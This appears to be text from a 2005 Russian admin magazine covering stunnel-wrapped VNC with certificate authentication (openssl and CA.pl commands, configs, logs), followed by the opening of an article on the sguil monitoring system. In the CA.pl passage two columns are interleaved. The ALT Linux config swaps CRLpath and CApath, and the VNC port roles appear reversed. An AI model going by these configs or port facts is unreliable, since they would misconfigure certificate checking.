unreal.net и адреса 10.10.21.46, 10.10.21.29, 10.10.21.30.
Для решения поставленной задачи можно использовать
несколько программ. К примеру, Citrix ICA Client, Radmin,
Rdesktop, VNC. Устанавливать и настраивать на сервере
Citrix или Terminal Server ради одного человека смысла нет.
Radmin для UNIX в природе не существует, значит, опять
58
АНДРЕЙ БЕШКОВ
пришлось бы возиться с каким-либо эмулятором. Решив не
плодить сущностей без надобности, я воспользовался пос-
ледним вариантом в виде VNC, так как бесплатен и суще-
ствует для всех указанных платформ. Реализаций прото-
кола VNC на свете довольно много. Наиболее известны из
них RealVNC, TightVNC, t-VNC и еще несколько клонов. Не-
которые, как TightVNC и t-VNC, направлены на минимиза-
цию сетевого трафика, другие же, такие как RealVNC, – на
использование шифрования. К сожалению, под Windows
RealVNC не бесплатна, поэтому пришлось использовать
стандартную свободную реализацию TightVNC без шифро-
вания. Для защиты передаваемых данных, как вы уже, на-
верно, догадались, будет использоваться stunnel.
Займемся установкой нужных пакетов на Windows-сер-
вер. Скачиваем с сайта TightVNC: http://tightvnc.com свежий
релиз программы. На момент написания статьи была акту-

альна версия 1.2.9. Инсталляция достаточно тривиальна:
большую часть времени можно просто нажимать кнопку
«Далее». Затем нужно убедиться, что был выбран следую-
щий набор компонентов.
Разрешаем стартовать серверу VNC автоматически как
системному сервису. После этого получаем предупреждение
об отсутствии пароля и на следующем экране вводим его.
По умолчанию VNC ждет соединений на порту 5800 для
стандартных клиентов и 5900 для тех, кто использует в
качестве клиента браузер. Нажав кнопку «Advanced», по-
лучаем следующий диалог, с помощью которого разреша-
ем входящие соединения только с интерфейса локальной
петли.
1
1. Бешков А. Защита сетевых сервисов с помощью stunnel. – журнал «Системный администратор», №12, декабрь 2004 г.
2. Бешков А. Защита сетевых сервисов с помощью stunnel. Часть 2. – журнал «Системный администратор», №1, январь 2005 г.
№3, март 2005
безопасность
Таким образом, получается, что на внешнем интерфей-
се входящие соединения на порты 5800 и 5900 будет полу-
чать stunnel и после расшифровки передавать их на соот-
ветствующий порт локальной петли.
Теперь уже можно проверить работу VNC c помощью кли-
ента, установленного на локальной машине. Не забываем,
что присоединяться надо по адресу 127.0.0.1. Если все ра-
ботает, переходим к установке stunnel. Сделать это можно
двумя путями: либо компилировать пакет из исходных тек-
стов, либо взять уже готовый по адресу: htpp://stunnel.org/
download/binaries.html. Там же не забываем взять реализа-
цию OpenSSL для Windows. Полный пакет OpenSSL нам не
нужен, необходимы лишь библиотеки libeay32.dll и libssl32.dll,
скачать их можно на той же странице. Нормальным инстал-
лятором stunnel так до сих пор и не обзавелся, поэтому при-
ходится делать все вручную. Кладем stunnel-4.05.exe в
C:\Stunnel и добавляем туда же весь OpenSSL или скачан-
ные dll. Затем создаем директорию C:\Stunnel\certs. На этом
процедуру установки для Windows можно считать закончен-
ной. Осталось лишь настроить stunnel, но об этом позже.
Установку stunnel и OpenSSL для FreeBSD и Linux мы об-
суждали в предыдущих частях этой статьи1, поэтому оста-
навливаться на данном вопросе не будем. Теперь нужно по-
ставить VNC. Для FreeBSD устанавливаем tightVNC стандар-
тным способом из портов. К сожалению, в репозитарии па-
кетов ALT Linux пакет tightVNC отсутствует, поэтому ставим
стандартный VNC, они все равно совместимы между собой.
Пришло время создать SSL-сертификаты, с помощью
которых мы будем проводить взаимную аутентификацию
клиентов и сервера. Это можно сделать на любой из ис-
пользуемых нами платформ. Но все же стоит отметить, что
под Windows выполнять подобные действия неудобно из-
за бедности функционала, портированного OpenSSL.
Для остальных обсуждаемых в этой статье систем про-
цедура практически одинакова, все отличия обычно состо-
ят в именах директорий, используемых во время работы.
FreeBSD хранит исполняемый файл openssl в /usr/local/bin/
openssl, а ALT Linux – в /usr/bin/openssl. Плюс к этому вспо-
могательный скрипт CA.pl, представляющий для нас осо-
бую важность, в первом случае лежит в директории /usr/
local/openssl/misc, а во втором – внутри /var/lib/ssl/misc. Впро-
чем, не стоит переживать: я обязательно подробно опишу
59
 безопасность
всю процедуру генерации сертификатов для обеих систем.
Авторизацию с помощью сертификатов можно настро-
ить разными путями даже внутри одной и той же системы.
Итак, подход первый: создать три независимых самодель-
ных сертификата, по одному для всех участников шифро-
ванного туннеля. Такой способ подкупает простотой реа-
лизации, но в качестве минусов получаем невозможность,
проверить подлинность сертификата через корневой сер-
вер сертификации. Впрочем, в нашем случае это не играет
особой роли.
Для начала исправляем файл openssl.cnf, дабы не на-
бирать нижеприведенные данные каждый раз заново при
создании сертификата.
countryName_default = RU
stateOrProvinceName_default = Rostov region
localityName = Rostov-on-Don
0.organizationName_default = Tigrisha Home
emailAddress = tigrisha@unreal.net
Во FreeBSD openssl.cnf находится в /usr/local/openssl/, а
под ALT Linux соответственно в /var/lib/ssl/.
Начнем с FreeBSD. Переходим в любую удобную дирек-
торию и выполняем команды:
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵
–x509 –keyout win2000key.pem –out win2000cert.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵
–x509 –keyout altlinuxkey.pem –out altlinuxcert.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵
–x509 –keyout freebsdkey.pem –out freebsdcert.pem
Большинство полей в сертификате совпадают с нашими
значениями по умолчанию, во время генерации сертифика-
тов нам просто нужно нажимать «Enter». Единственное, что
нужно менять, – это поле CN (Common name). Заполнять
его нужно в соответствии с полным доменным именем ком-
пьютера, для которого предназначается сертификат.
Таким образом, мы создали пару сертификат-ключ для
всех наших машин. Теперь ключ лежит в файле с суффик-
сом key, а сертификат соответственно в файле с суффик-
сом cert. В ALT Linux все вышеприведенные команды будут
иметь тот же эффект. Хотя для этой системы есть и другой
способ. Чтобы изучить его, переходим в /var/lib/ssl/certs/ и
выполняем команды:
# make win2000.pem
# make altlinux.pem
# make freebsd.pem
Это способ не столь удобен, как предыдущий, и требует
больше ручного труда. Дело в том, что теперь ключ и сер-
тификат каждой машины лежат вместе в одном файле. Сле-
довательно, придется вручную разносить их по отдельным
файлам.
Для того чтобы системы, соединенные с помощью
stunnel, могли провести аутентификацию, они должны до-
верять публичным сертификатам друг друга. Соответствен-
но клиенты должны доверять сертификату сервера и на-
оборот. Давайте изготовим файл с доверенными сертифи-
катами для машины win2000. Для этого объединяем серти-
фикаты altlinuxcert.pem и freebsdcert.pem в файл trusted.pem.
# cat altlinuxcert.pem freebsdcert.pem > trusted.pem
60
Переносим файлы win2000key.pem, win2000cert.pem и
trusted.pem на Windows-машину и кладем в директорию
C:\Stunnel\certs\.
Таким же образом на FreeBSD копируем файлы freebsd-
key.pem и freebsdcert.pem, а на Linux, соответственно,
altlinuxkey.pem altlinuxcert.pem. Для клиентов в качестве
файла с сертификатом доверия выступает win2000cert.pem,
поэтому обязательно отправляем его на обе машины и для
единообразия переименовываем в trusted.pem. Также не за-
бываем на клиентских машинах положить файлы ключа и
сертификатов в /usr/local/etc/stunnel/certs/.
Стоит обратить внимание на то, что vnc может работать
либо самостоятельно, либо как подключаемый модуль веб-
браузера. В первом случае нужно проводить аутентифика-
цию и шифровать трафик, а во втором случае будет дос-
тупно только шифрование, потому что непонятно, как кли-
ентский браузер сможет предъявить свой сертификат сер-
веру. Отсюда делаем вывод, что на машине с Windows дол-
жно работать два независимых демона stunnel. Один с ав-
торизацией, другой – без.
Теперь пришло время создать конфигурационные фай-
лы. Для Windows содержимое vnc_server.cnf выглядит так:
cert = C:\stunnel\certs\win2000cert.pem
key = C:\stunnel\certs\win2000key.pem
CAFile = C:\stunnel\certs\trusted.pem
CRLfile = C:\stunnel\certs\crl.pem
debug = 7
output = C:\stunnel\stunnel.log
verify = 3
[vnc]
accept = 10.10.21.46:5800
connect = 127.0.0.1:5800
Конфигурация второго экземпляра stunnel, хранящаяся
в vnc_server1.cnf, соответственно такова:
[vnc-https]
cert = C:\stunnel\certs\win2000cert.pem
key = C:\stunnel\certs\win2000key.pem
debug = 7
output = C:\stunnel\stunnel.log
accept = 10.10.21.46:5900
connect = 127.0.0.1:5900
Теперь посмотрим, на что похожа конфигурация для
FreeBSD.
cert = /usr/local/etc/stunnel/certs/freebsdcert.pem
key = /usr/local/etc/stunnel/certs/freebsdkey.pem
CAFile = /usr/local/etc/stunnel/certs/trusted.pem
CRLfile = /usr/local/etc/stunnel/certs/crl.pem
chroot = /var/tmp/stunnel/
pid = /stunnel.pid
setuid = stunnel
setgid = stunnel
debug = 7
output = /var/log/stunnel.log
client = yes
verify = 3

[vnc]
accept = 127.0.0.1:5800
connect = 10.10.21.46:5800
Конфигурационный файл для ALT Linux выглядит так:
cert = /usr/local/etc/stunnel/certs/altlinuxcert.pem
key = /usr/local/etc/stunnel/certs/altlinuxkey.pem
CAFile = /usr/local/etc/stunnel/certs/trusted.pem
CRLfile = /usr/local/etc/stunnel/certs/crl.pem
chroot = /var/tmp/stunnel/
pid = /stunnel.pid
setuid = stunnel
setgid = stunnel
debug = 7
output = /var/log/stunnel.log
client = yes
verify = 3
[vnc]
accept = 127.0.0.1:5800
connect = 10.10.21.46:5800
На этом можно остановиться. Перед запуском стоит
обсудить особенности конфигурационных файлов, с кото-
рыми мы еще не сталкивались. CAFile – указывает, в ка-
ком файле хранятся доверенные сертификаты. CRLfile –
описывает имя файла, где должны находиться отозванные
сертификаты. Такая возможность полезна, к примеру, если
сертификат клиента каким-либо образом попал к злоумыш-
леннику, и теперь нам нужно заблокировать его. И, нако-
нец, самая важная опция – verify. Она определяет, каким
образом при начале соединения будут проверяться серти-
фикаты клиента и сервера. Значением переменной долж-
но быть число от 0 до 3. Давайте посмотрим, что значит
каждое из них.
! 0 – наличие и подлинность сертификатов не проверяет-
ся. Это значение по умолчанию, оно также эквивалент-
но слову «no».
! 1 – подлинность сертификата проверяется только при
наличии такового. В случае если сертификат не прохо-
дит проверку, то соединение будет разорвано. В то же
время при отсутствии сертификата соединение будет
разрешено.
! 2 – проверяется наличие и подлинность сертификата.
Если сертификат отсутствует или в результате провер-
ки считается фальшивым, соединение разрывается.
! 3 – для создания соединения требуется обязательное
наличие сертификата и его присутствие в списке дове-
ренных.
Итак, разобравшись с опциями, запускаем stunnel на всех
машинах и смотрим, что появляется в файлах stunnel.log под
Windows.
2005.02.28 19:10:33 LOG5[776:724]: stunnel 4.05 on x86-pc-mingw32-gnu
WIN32 with OpenSSL 0.9.7e 25 Oct 2004
2005.02.28 19:10:33 LOG7[776:1108]: RAND_status claims sufficient
entropy for the PRNG
2005.02.28 19:10:33 LOG6[776:1108]: PRNG seeded successfully
2005.02.28 19:10:33 LOG7[776:1108]: Certificate:
C:\stunnel\certs\win2000cert.pem
2005.02.28 19:10:33 LOG7[776:1108]: Key file:
C:\stunnel\certs\win2000key.pem
2005.02.28 19:10:33 LOG7[776:1108]: Loaded verify certificates from
№3, март 2005
безопасность
C:\stunnel\certs\trusted.pem
2005.02.28 19:10:33 LOG5[776:1108]: WIN32 platform:
30000 clients allowed
2005.02.28 19:10:33 LOG7[776:1108]: FD 156 in non-blocking mode
2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc bound to 10.10.21.46:5800
2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
2005.02.28 19:10:33 LOG7[776:1108]: FD 189 in non-blocking mode
2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
Ну а для Linux записи в файле протокола должны выг-
лядеть примерно так:
2005.02.28 10:26:08 LOG5[10323:16384]: stunnel 4.05 on
i686-pc-linux-gnu PTHREAD with OpenSSL 0.9.7d 17 Mar 2004
2005.02.28 10:26:08 LOG7[10323:16384]: Snagged 64 random bytes from
/root/.rnd
2005.02.28 10:26:08 LOG7[10323:16384]: Wrote 1024 new random bytes
to /root/.rnd
2005.02.28 10:26:08 LOG7[10323:16384]: RAND_status claims sufficient
entropy for the PRNG
2005.02.28 10:26:08 LOG6[10323:16384]: PRNG seeded successfully
2005.02.28 10:26:08 LOG7[10323:16384]: Certificate:
/usr/local/etc/stunnel/certs/altlinuxcert.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Key file:
/usr/local/etc/stunnel/certs/altlinuxkey.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Loaded verify certificates from
/usr/local/etc/stunnel/certs/trusted.pem
2005.02.28 10:26:08 LOG5[10323:16384]: FD_SETSIZE=1024,
file ulimit=1024 -> 500 clients allowed
2005.02.28 10:26:08 LOG7[10323:16384]: FD 6 in non-blocking mode
2005.02.28 10:26:08 LOG7[10323:16384]: SO_REUSEADDR option set on
accept socket
2005.02.28 10:26:08 LOG7[10323:16384]: vnc bound to 10.10.21.75:3307
Думаю, всем понятно, что в протоколах системы FreeBSD
будет написано примерно то же, что хранится в протоколах
системы Linux. Особое внимание стоит обратить на сооб-
щения о считывании файлов сертификатов.
Теперь нужно попробовать присоединиться к серверу
Windows с любой из клиентских машин с помощью програм-
мы vncviewer.
Все должно пройти как по маслу. А в файлах протоко-
лов соответственно появится что-то вроде:
2005.02.26 21:48:00 LOG7[7492:16384]: vnc accepted FD=11 from
10.10.21.29:51902
2005.02.26 21:48:00 LOG7[7492:16384]: FD 11 in non-blocking mode
2005.02.26 21:48:00 LOG7[8003:32770]: vnc started
2005.02.26 21:48:00 LOG5[8003:32770]: vnc connected from
10.10.21.29:51902
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
before/accept initialization
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read client hello A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write server hello A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write certificate A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write certificate request A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 flush data
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
2005.02.26 21:48:00 LOG5[8003:32770]: VERIFY OK: depth=0,
/C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/CN=win2000.unreal.net
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read client certificate A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read client key exchange A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read certificate verify A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read finished A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write change cipher spec A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write finished A
61
 безопасность
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 flush data
2005.02.26 21:48:00 LOG7[8003:32770]: 2 items in the session cache
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects (SSL_connect())
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects that finished
2005.02.26 21:48:00 LOG7[8003:32770]: 0 client renegotiatations requested
2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects (SSL_accept())
2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects that finished
2005.02.26 21:48:00 LOG7[8003:32770]: 0 server renegotiatiations requested
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache hits
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache misses
2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache timeouts
2005.02.26 21:48:00 LOG6[8003:32770]:
Negotiated ciphers: AES256-SHA SSLv3 Kx=RSA Au=RSA
Enc=AES(256) Mac=SHA1
2005.02.26 21:48:00 LOG7[8003:32770]: FD 14 in non-blocking mode
2005.02.26 21:48:00 LOG7[8003:32770]: vnc connecting 127.0.0.1:5800
2005.02.26 21:48:00 LOG7[8003:32770]: remote connect #1: EINPROGRESS: retrying
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=14, DIR=write
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
2005.02.26 21:48:00 LOG7[8003:32770]: Remote FD=14 initialized
2005.02.26 21:49:09 LOG7[8003:32770]: Socket closed on read
2005.02.26 21:49:09 LOG7[8003:32770]: SSL write shutdown (output buffer empty)
2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (write): warning: close notify
2005.02.26 21:49:09 LOG7[8003:32770]: SSL_shutdown retrying
2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (read): warning: close notify
2005.02.26 21:49:09 LOG7[8003:32770]: SSL closed on SSL_read
2005.02.26 21:49:09 LOG7[8003:32770]: Socket write shutdown (output buffer empty)
2005.02.26 21:49:09 LOG5[8003:32770]: Connection closed:229164 bytes sent to SSL,
188234 bytes sent to socket
2005.02.26 21:49:09 LOG7[8003:32770]: vnc finished (0 left)
Особое внимание стоит обратить на строчку со следую-
щими символами:
VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/
CN=win2000.unreal.net
Четко видно, как сертификат сервера был опознан кли-
ентом. Соответственно, в протоколах сервера можно уви-
деть:
VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/
CN=freebsd53.unreal.net
Стоит отметить, что в случае, если файл crl.pem не бу-
дет содержать сертификатов, stunnel не запустится. Все,
что мы получим, – это вот такое сообщение об ошибке:
2005.03.12 10:52:12 LOG3[5934:16384]: Error loading CRLs from
/usr/local/etc/stunnel/certs/crl.pem
Country Name (2 letter code) [AU]:RU
State or Province Name (full name) [Some-State]:Rostov region
Locality Name (eg, city) []:Rostov-on-Don
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home
Organizational Unit Name (eg, section) []:Test Lab
Common Name (eg, your name or your server's hostname) []:unreal.net
Email Address []:tigrisha@unreal.net
В результате этих действий в файле cakey.pem появит-
ся секретный ключ, а в cacert.pem наш корневой сертифи-
кат. Затем создаем запрос на новый клиентский сертифи-
кат для машины altlinux.unreal.net.
# /var/lib/ssl/misc/CA.pl -newreq
Generating a 1024 bit RSA private key
.......................................................................++++++
........................................++++++
writing new private key to 'newreq.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:RU
State or Province Name (full name) [Some-State]:Rostov region
Locality Name (eg, city) []:Rostov-on-Don
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home
Organizational Unit Name (eg, section) []:Test Lab
Common Name (eg, your name or your server's hostname) []:altlinux.unreal.net
Email Address []:tigrisha@unreal.net
После этого во вновь созданном файле newreq.pem бу-
дет находиться секретный ключ клиента и запрос на созда-
ние сертификата. Осталось только заверить его с помощью
корневого сертификата, сгенерировав таким образом но-
вый клиентский сертификат.

Поэтому включайте возможность отзыва сертификатов # /var/lib/ssl/misc/CA.pl -sign

только в том случае, если она действительно необходима. Using configuration from /var/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Разобравшись с авторизацией, давайте посмотрим на Check that the request matches the signature
еще один способ создания сертификатов клиента и серве- Signature ok
Certificate Details:
ра. В составе пакета OpenSSL версий выше 0.9.6 постав- Serial Number: 1 (0x1)
ляется утилита CA.pl, с помощью которой генерирование Validity
Not Before: Feb 8 18:39:33 2005 GMT
сертификатов превращается из нелегкого труда по запо- Not After : Feb 8 18:39:33 2006 GMT
Subject:
минанию длинных команд в забаву. На этот раз мы посту- countryName = RU
пим в соответствии со всеми правилами. Сначала созда- stateOrProvinceName = Rostov region
localityName = Rostov-on-Don
дим корневой сертификат для unreal.net, а потом с помо- organizationName = Tigrisha home
щью него заверим все клиентские сертификаты. organizationalUnitName = Test Lab
commonName = altlinux.unreal.net
emailAddress = tigrisha@unreal.net
# /var/lib/ssl/misc/CA.pl -newca X509v3 extensions:
X509v3 Basic Constraints:
CA certificate filename (or enter to create) CA:FALSE
Netscape Comment:
Making CA certificate ... OpenSSL Generated Certificate
Generating a 1024 bit RSA private key X509v3 Subject Key Identifier:
.....++++++ BF:01:B4:1C:AA:2C:46:8E:0B:B6:9D:70:BA:AA:D3:86:DC:8F:8A:09
.......................................++++++ X509v3 Authority Key Identifier:
writing new private key to './demoCA/private/cakey.pem' keyid:F8:66:F7:4E:F9:3F:7A:C7:83:BC:0C:84:40:AD:2F:3F:FC:5A:9C:AC
Enter PEM pass phrase: DirName:/C=RU/ST=Rostov region/L=Rostov-on-Don/O=Tigrisha home/
OU=Test Lab/CN=unreal.net/emailAddress=tigrisha@unreal.net
Verifying - Enter PEM pass phrase:
serial:00
-----
You are about to be asked to enter information that will be incorporated Certificate is to be certified until Feb 8 18:39:33 2006 GMT (365 days)
into your certificate request. Sign the certificate? [y/n]:y
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank 1 out of 1 certificate requests certified, commit? [y/n]y
For some fields there will be a default value, Write out database with 1 new entries
If you enter '.', the field will be left blank. Data Base Updated
----- Signed certificate is in newcert.pem

62

После всех этих мытарств сертификат клиента находит-
ся в файле newcert.pem. Повторяем эти шаги для осталь-
ных клиентов. При этом не стоит забывать, что в файлы
newcert.pem и newreq.pem перезаписываются при каждом
запуске CA.pl c ключами -sign и -newreq, отсюда следует,
что после завершения цикла генерации ключа и сертифи-
ката лучше переименовывать эти файлы так, чтобы своим
именем они отражали принадлежность тому или иному кли-
енту. К примеру, для клиента altlinux.unreal.net файлы дол-
жны называться altlinuxcert.pem и altlinuxkey.pem.
Еще одно обстоятельство, о котором стоит помнить, –
из файла newreq.pem после заверения сертификата лучше
всего удалять запрос на сертификацию. Он начинается стро-
кой -------BEGIN CERTIFICATE REQUEST--------- и заканчи-
вается, соответственно ----END CERTIFICATE REQUEST-----
Если этого не сделать, то некоторые версии stunnel завер-
шаются с ошибкой при попытке работы с таким файлом.
Итак, мы создали все необходимые сертификаты и по-
местили их в trusted.pem. Конечно, не стоит забывать, что
файл trusted.pem должен быть разным для клиентов и сер-
вера. В остальном этот способ полностью совпадает с тем,
что мы протестировали выше.
Вручную добавлять сертификаты в trusted.pem доволь-
но просто, а вот удалять их потом оттуда в случае, если
хочется отказать какому-либо клиенту в доступе, несколь-
ко неудобно. В системах с малым количеством клиентов
это еще терпимо, а в большом вычислительном комплексе
с несколькими сотнями сертификатов это может превра-
титься в головную боль.
Поэтому давайте рассмотрим другой способ управле-
ния сертификатами. В этом случае мы будем помещать
каждый сертификат в отдельный файл. Затем доверенные
сертификаты кладем в директорию trusted, а отозванные –
в папку crl. На клиентах и сервере создаем обе папки внут-
ри директории certs. Затем вносим следующие изменения
в конфигурационные файлы. Вместо строк CAFile и CRLfile
вписываем следующее:
Для ALT Linux:
CRLpath = /usr/local/etc/stunnel/certs/trusted/
CApath = /usr/local/etc/stunnel/certs/crl/
Для FreeBSD вносим те же изменения, что и для ALT
Linux.
№3, март 2005
безопасность
Для Windows:
CRLpath = C:\stunnel\certs\crl\
CApath = C:\stunnel\certs\trusted\
Если опираться в своих действиях на официальную до-
кументацию к stunnel, то, сложив все доверенные сертифи-
каты в папку trusted, можно было бы попытаться запустить
демонов на сервере и клиентах и радоваться полученному
результату. Но не тут то было – запуск пройдет гладко, а вот
аутентификация функционировать не будет. По крайней
мере, у меня таким способом вообще ничего не заработало.
Все дело в том, что для совместимости со специфическими
особенностями stunnel имена файлов доверенных сертифи-
катов должны быть в особом формате. А точнее имя файла
должно соответствовать хэшу, вычисленному по содержи-
мому сертификата. Чтобы узнать хэш того или иного файла
под ALT Linux, нужно выполнить следующую команду:
# /var/lib/ssl/misc/c_hash / ↵
/usr/local/etc/stunnel/certs/trusted/*.pem
b71698b3.0 => /usr/local/etc/stunnel/certs/trusted/win2000cert.pem
Таким образом, становится понятно, что файл сертифи-
ката win2000cert.pem нужно переименовать в b71698b3.0.
После того как вы проведете подобные действия на осталь-
ных машинах, можно запускать stunnel. Стоит отметить, что
во FreeBSD утилита c_hash будет находиться в директории
/usr/local/openssl/misc. Также необходимо обратить внима-
ние на тот факт, что для Windows в стандартной поставке
openssl программа c_hash отсутствует. Поэтому хэши клю-
чей нужно будет вычислять на Linux или FreeBSD. Един-
ственное различие будет в том, что в файл протокола при
старте записываются следующие сообщения, касающиеся
доверенных сертификатов.
2005.03.14 11:19:03 LOG7[7068:16384]: Verify directory set to
/usr/local/etc/stunnel/certs/trusted/
2005.03.14 11:19:03 LOG5[7068:16384]: Peer certificate location
/usr/local/etc/stunnel/certs/trusted/
В остальном работа системы будет выглядеть точно так
же, как если бы доверенные сертификаты хранились в од-
ном файле. Думаю, на этом можно считать тему аутенти-
фикации клиентов stunnel с помощью сертификатов исчер-
панной. А значит, подошла к концу и эта серия статей.
63
 безопасность
МОНИТОРИНГ СЕТЕВЫХ СОБЫТИЙ
ПРИ ПОМОЩИ SGUIL
Интересно сегодня наблюдать за процессом развития
средств сетевой безопасности. Сначала считалось, что для
ее обеспечения на достаточном уровне необходимо исполь-
зовать межсетевой экран, который при правильной настройке
позволяет отсеивать проблемный трафик. Затем стало ясно,
что межсетевой экран способен обеспечить только минималь-
ный уровень защиты и в 1980 г. с публикации Джона Андер-
сона (John Anderson) «Computer Security Threat Monitoring
and Surveillance» началось развитие систем обнаружения
атак, хотя к их активному использованию пришли чуть поз-
же – где-то в первой половине 90-х. Долгое время счита-
лось, что системы обнаружения атак также являются иде-
альным помощником администратора, но вскоре стали за-
метны их недостатки.
В первую очередь, это очень большое количество лож-
ных предупреждений, так как таким системам недостает
контекста, и поэтому они не могут отслеживать связи меж-
ду событиями. Учитывая, что опытные хакеры очень непред-
сказуемы в своих действиях, выявить настоящее и хорошо
подготовленное вторжение при помощи СОА довольно про-
блематично, а собранная такой системой информация бы-
вает малополезной при последующем анализе инцидента.
Впрочем, надо отметить, это не помешало появлению та-
кого класса программ, как системы остановки атак. Здесь
поступили просто, решив, что если атаку можно обнару-
жить, то почему бы вместо простого оповещения не пре-
кратить ее. Фактически эти системы унаследовали недо-
статки СОА, но только теперь администратор, вместо того
чтобы разбираться в большом количестве предупреждений,
возможно, будет выслушивать жалобы от пользователей,
которые по неизвестным причинам не могут попасть в сеть.
Вот и получается, что стопроцентно принять решение о
степени опасности того или иного события может только ад-
министратор, самостоятельно проанализировавший ситуа-
цию. А для решения этих задач СОА не совсем подходят,
так как они собирают максимальную информацию только о
подозрительных пакетах, остальные же данные, как прави-
ло, игнорируются и будут потеряны для исследователя. А
простая логика подсказывает, что известные уязвимости,
64
… is built by network security analysts
for network security analysts.
СЕРГЕЙ ЯРЕМЧУК
имеющиеся в операционных системах, сервисах и прото-
колах не имеют ничего общего с возможными угрозами.
На страницах журнала [5] уже рассказывалось о работе
системы обнаружения атак SHADOW – Secondary Heuristic
Analysis for Defensive Online Warfare (http://www.nswc.navy.mil/
ISSEC/CID), основное отличие которой от традиционных
СОА, вроде Snort, состоит в отказе от наблюдения за конк-
ретными уязвимостями и использовании статистического
анализа потоков информации.
Другой проект – sguil пробует решить задачу обнаруже-
ния атак по-своему.
Проект sguil
Методология, на которой построен sguil, называется Network
Security Monitoring – NSM. Ее главный акцент сосредоточен
на сборе как можно большего количества данных, упроще-
нии доступа к ним и дальнейшего всестороннего анализа.
В общем же назначение sguil состоит в интеграции различ-
ных инструментов, предназначенных для защиты сети. Для
этого она связывает предупреждения СОА с базой данных
TCP/IP-сеансов, полным содержимым пакетов и другой по-
лезной информацией. После обнаружения атаки sguil обес-
печивает исследователя полными данными, необходимыми
для изучения проблемы, позволяя оценить ситуацию и при-
нять правильное решение. При обнаружении события ему
может быть присвоена одна из семи категорий (таблица 1).
В противном случае оно помечается как не требующее даль-
нейшего внимания, и такие события больше не выводятся
на консоль, но все равно сохраняются в базе данных. Вся
записанная информация может быть легко добыта и про-
анализирована при помощи предварительно подготовлен-
ных SQL-запросов. Естественно, при необходимости такие
запросы можно составлять и самому, сохраняя их затем для
повторного использования.
События, имеющие один и тот же IP-адрес, сигнатуру и
сообщение, могут быть сопоставлены между собой. Для
удобства реализован и импорт отчетов, составленных ска-
нером безопасности Nessus.
Система анализа информации, построенная на sguil, со-

стоит из одного сервера и произвольного числа сетевых дат-
чиков. Датчики собирают информацию и передают ее на сер-
вер, который, в свою очередь, координирует полученные дан-
ные, сохраняет их в базе и отдает по требованию клиентам.
В качестве датчиков на момент написания статьи использо-
вались:
! Snort (http://www.snort.org), собирающий информацию не
только о событиях защиты, но и TCP/IP-сеансах и ис-
пользуемых портах. Отдельный сенсор захватывает все
данные, проходящие по сети.
! Barnyard (http://www.sourceforge.net/projects/barnyard) –
собирает данные из файлов журнала Snort и заносит их
в реальном времени в базу данных.
! SANCP – Security Analyst Network Connection Profiler
(http://www.metre.net/files/sancp-1.6.1.tar.gz) – собирает,
записывает и анализирует статистическую информацию
по TCP/IP-сеансам.
Дополнительно могут загружаться и расшифровывать-
ся данные от сниффера Ethereal, если он установлен в сис-
теме. Для доступа к информации, собранной сервером ис-
пользуются GUI-клиенты, написанные на Tcl/Tk, роль кото-
рых не менее важна, чем сервера и датчиков, т.к. именно с
их помощью производится основной отбор данных в реаль-
ном времени и последующий их анализ. При необходимос-
ти могут создаваться отчеты в виде текстового файла или
сообщений электронной почты.
